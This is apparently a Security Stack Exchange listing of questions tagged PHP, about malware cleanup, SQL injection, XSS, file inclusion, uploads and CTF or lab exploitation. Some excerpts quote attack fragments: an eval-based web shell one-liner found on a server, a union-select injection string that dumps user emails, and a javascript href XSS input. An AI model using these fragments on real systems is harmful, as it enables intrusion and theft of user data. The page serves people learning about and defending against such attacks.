Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
0
votes
0answers
41 views

How does this php malware code work? [closed]

I am trying to figure out what a php malware attack is doing. It looks like the code got injected into php files throughout the application. There are multiple files with weird names created. All ...
0
votes
0answers
30 views

Wordpress reauth attacks? How to prevent

I am running a forward proxy filtering outbound requests for the following in order to catch potentially malicious requests from hacked Wordpress sites: /wp-login.php* /xmlrpc.php* Lately this has ...
0
votes
1answer
52 views

How password_hash / password_verify can work with any arguments (PHP)

I already know how to use password_verify and password_hash functions, but I don't really understand how they work. When I use them I do something like that: $save_hash = password_hash( $password, ...
2
votes
0answers
58 views

If a malicious PHP file never appears in the Apache log is it safe to assume it never executed?

I've found a couple of suspicious-looking PHP files on my webserver obfuscated by a substantial block of eval. Ideally, I'd like to know what they do, but I'm struggling to decrypt them. Everything ...
0
votes
1answer
63 views

Using parametrized queries in PHP

I am currently developing a Slack app in PHP. I'm trying to make the app as secure as possible, that's for sure. So far, I have done the following: Verified the requests using signing secrets Making ...
1
vote
1answer
89 views

PHP execution with special characters in the end

I was trying to reproduce this vulnerability: https://www.exploit-db.com/exploits/49294 According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
1
vote
1answer
55 views

php / email / iis

in a certain page I have a newsletter subscription form, where the user enters his e-mail address and then through PHP an authenticated e-mail is sent to myself with the user's information (e-mail ...
7
votes
2answers
204 views

Do people even exist who actually vet all the updates to their open source software?

A year or so ago, I set up this system which, whenever Composer (that's PHP's packet/library update manager) fetched new updates to my few (but critically required) third-party libraries, created a ...
0
votes
2answers
65 views

can i execute javascript in href when i have text before my input?

This is where I took this example from: <a href="<?php echo $_GET['e'];?>">Back</a> In this code, I can do http://my_url?e=javascript:alert() But what can I do if my code ...
0
votes
1answer
109 views

Is it possible to setup a phishing “honeypot” for proof-of-concept purposes without getting the host/IP blacklisted?

[Edited title according to comments] In the company I work for we have many clients and vast majority of them have hosting with us and we made their web apps. One client though just applied for cyber ...
0
votes
0answers
50 views

SQL Injection Training challenge including a PHP file

I’m currently trying to get some knowledge in SQL injection. In a pen test environment, there is a challenge on which you get the PHP file and you need to try to login using SQL Injection. I’ve ...
0
votes
3answers
146 views

Is my login script secure – how to improve it?

I have a login system for my website that works as follows: In the database I have a table called users with the fields user, password and authentication_token. user gets set manually by request in ...
0
votes
1answer
92 views

How does a hacker reach a back-end file to exploit it?

I read this post: How does hacking work? and I saw that Chris Dale answered the question with some PHP exploit instructions. However, how does a hacker can read a PHP file (or another back-end file), ...
0
votes
1answer
175 views

Is this script malicious? What does it do? [closed]

I was working with a freelancer from upwork and noticed they added this script titled .default in my config directory. It looks malicious and they were hired to do CSS style changes of elementor: <...
1
vote
1answer
73 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
16
votes
1answer
6k views

Does a log entry with “SPT=81” despite nothing listening on that port indicate my server is hacked?

I manage a Debian GNU/Linux web server (Debian 10 Buster with its bundled 4.19 kernel). I put in place simple iptables logging rules a long time ago, among other things. Here they are: # iptables -A ...
0
votes
1answer
54 views

How can you find the PHP version a website is using using LFI?

If a website is vulnerable to Local File Inclusion (LFI), how can you use it to find out the PHP version? Is there any file which says the version of PHP being used. I'm trying to do a PHP sessions ...
0
votes
0answers
71 views

Is a simple text field a good alternative for phone/website fields if a form's data isn't saved in a database?

I am creating a website with the CMS MediaWiki and its extension named ContactPage. The website is principally all core and I use only that one extension ContactPage (as one which is not one of the ...
1
vote
1answer
85 views

Is it bad to trust PHP's $_SERVER information?

I want to know if is bad to trust the PHP's global variable $_SERVER values. I have a scenario that I change between developer and production site, and I have a config.php file. On this file, I check $...
1
vote
1answer
136 views

Can string concatenation in file_get_contents() be exploited in PHP?

Let's say I have the following PHP code: <?php echo file_get_contents($_GET['path'] . ".txt"); Obviously, it's insecure as path traversal is possible when passing e.g. ../../file as ...
0
votes
2answers
107 views

Bypassing htmlentities() for XSS attack

I'm only a beginner so if any more info is needed just request and i'll update the question. For one of my modules we are covering cross-site scripting and I have been given a series of PHP files that ...
0
votes
1answer
86 views

How to trace script injection/infection in php app

This is about a PHP7.4 based shopping platform (opencart (v3.0)). For testing purposes I had a dummy set up at site.com/xyz. The admin page of that was site.com/xyz/admin. The login and pw for the ...
-1
votes
1answer
114 views

Can't bypass filter [closed]

Trying some malicious injection against bWAPP and came across bypass captcha Filter validating captcha is if($_POST["captcha_user"] == $_SESSION["captcha"]) Tried input 1' || '2 ...
0
votes
0answers
36 views

2-way encryption of url parameters

My client uses a 3rd party vendor to store contacts and send promotional emails. All of the emails drive the user to various landing pages on their website. occasionally there is a need for ...
0
votes
4answers
193 views

Can here be SQL Injection

i got till moment when i do not know if it is secure! If SQL injection is inserted into myTableTwo via safe PDO query will it make my query below SQL injection open? Is the query below safe? $mysfield ...
1
vote
1answer
88 views

Can an empty uploaded file cause any security issues?

The php.net page on the move_uploaded_file() function contains a User Contributed Note which says, Security tips you must know before use this function : First : make sure that the file is not empty. ...
0
votes
0answers
48 views

Is it bad to let a file be downloaded using its direct path on WordPress?

I have a scenario that I want to let people that visit my WordPress website download some PDFs. These PDFs go to my website as products of the Woocommerce plugin, so they are stored on the folder ...
0
votes
0answers
68 views

Handling file uploads securely in phpmailer/php

I have a lengthy HTML form with around 20-26 file uploads required and some of them are even multiple. I am really concerned about how secure it is. I would really like to have some secure solution to ...
1
vote
0answers
67 views

How does proper use of session.use_only_cookies and session_regenerate_id() cause personal DoS?

From PHP Session Management basics: Proper use of session.use_only_cookies and session_regenerate_id() can cause personal DoS with undeletable cookies set by attackers. In this case, developers may ...
1
vote
0answers
136 views

Exploiting WebDav

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The ...
0
votes
1answer
84 views

DVWA - Converting Local File Inclusion to Remote Code Exploitation

I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
0
votes
2answers
168 views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
0
votes
2answers
154 views

SQL Injection update query

I have a sqli and i can dump data from the DB with the query below func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(uid,':',email,':...
1
vote
1answer
85 views

Meterpreter Session died [Bwapp]

I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my ...
4
votes
3answers
183 views

Break out or bypass php functions

I'm currently doing an online CTF and I have LFI an can read the source code of the upload function. In there I see the following line: shell_exec('rm -rf ' . directory/ . '*.p*'); So anytime I ...
0
votes
1answer
79 views

Security of PHP's str_shuffle()

I'm doing some research on PHP's str_shuffle function, I already asked this question multiply times on StackOverflow but got no answer https://stackoverflow.com/questions/61968859/is-it-possible-to-...
0
votes
0answers
215 views

Sqlmap not detects error based injection

I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
2
votes
1answer
113 views

PHP Blind XXE Exploitation: Invalid URI in Entity

When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs: PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity The ...
0
votes
0answers
21 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
1
vote
1answer
426 views

Local file inclusion in JS app [closed]

I am working on a project which requires the name of the page as a query parameter 'path'. The app stores path variable as res.query.path. My manager asked me to pay attention to LFI, so I'm concerned ...
3
votes
2answers
111 views

Is this method of 32 char hash generation secure enough for online-based attacks?

A fellow developer and I have been having a discussion about how vulnerable a few different methods of developing a hash are, and I've come here to see if smarter people than I (us?) can shed some ...
1
vote
1answer
731 views

Help Understanding PHP Reverse Shells

I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches. For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
1
vote
0answers
157 views

Identifying Source of Malware Attack on Laravel App

We have a Laravel 5.6.x application running as a REST backend with PHP 7 on one of our servers. The server uses CentOS with WHM/cPanel/PhpMyAdmin Recently that server issued a maldet warning (our ...
0
votes
1answer
108 views

Ways to detect CVE-2017-12419 intrusion

I have a free infinityfree.net web server that was vulnerable to CVE-2017-12419 for quite a big window of time. After fixing the gap and changing the passwords, what are some ways to detect if the ...
0
votes
1answer
94 views

Having problems with SQL injection with mysqli extension PHP

I am new to SQL injections, and people on Reddit asked me do the portswigger labs. Which I did up till before 2nd order ones. So I am pretty comfortable with usual SQL injections. Now I have myself ...
0
votes
1answer
30 views

Is there any quick or automated to way to check the version of PHP running on a remote server?

Currently running a vulnerability assessment. However, the IP I was provided is a load balancer and the client only wants to test one of the sites running on the load balancer. The vulnerabilities I ...
1
vote
1answer
144 views

Did PHP's rand() get better?

I know that PHP used the system implementation for its rand() function, which is usually a weak LCG or LFSR implementation. Did this change? In case it still does, I am using Fedora 32. PHP states in ...
0
votes
1answer
136 views

Is my code safe enough to be publish on the server side? [duplicate]

I'm new here to ask a question. Sorry if my question had miss explanation. I just wanna ask if my PHP code is secure enough. Please find below is the source code: Get the ID for choosing the Value ...
2
votes
1answer
87 views

Explaining a bad approach - not comparing hashes

Today I saw a snippet a code for authentication logic : function checkPass($pass, $login){ $inputedPass = $pass; $req = $bdd->prepare('SELECT password FROM agents WHERE password = ...
0
votes
3answers
125 views

Php intermediate shell [closed]

Is there any way that i can use the compromised website as the shell What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...

1
2 3 4 5
31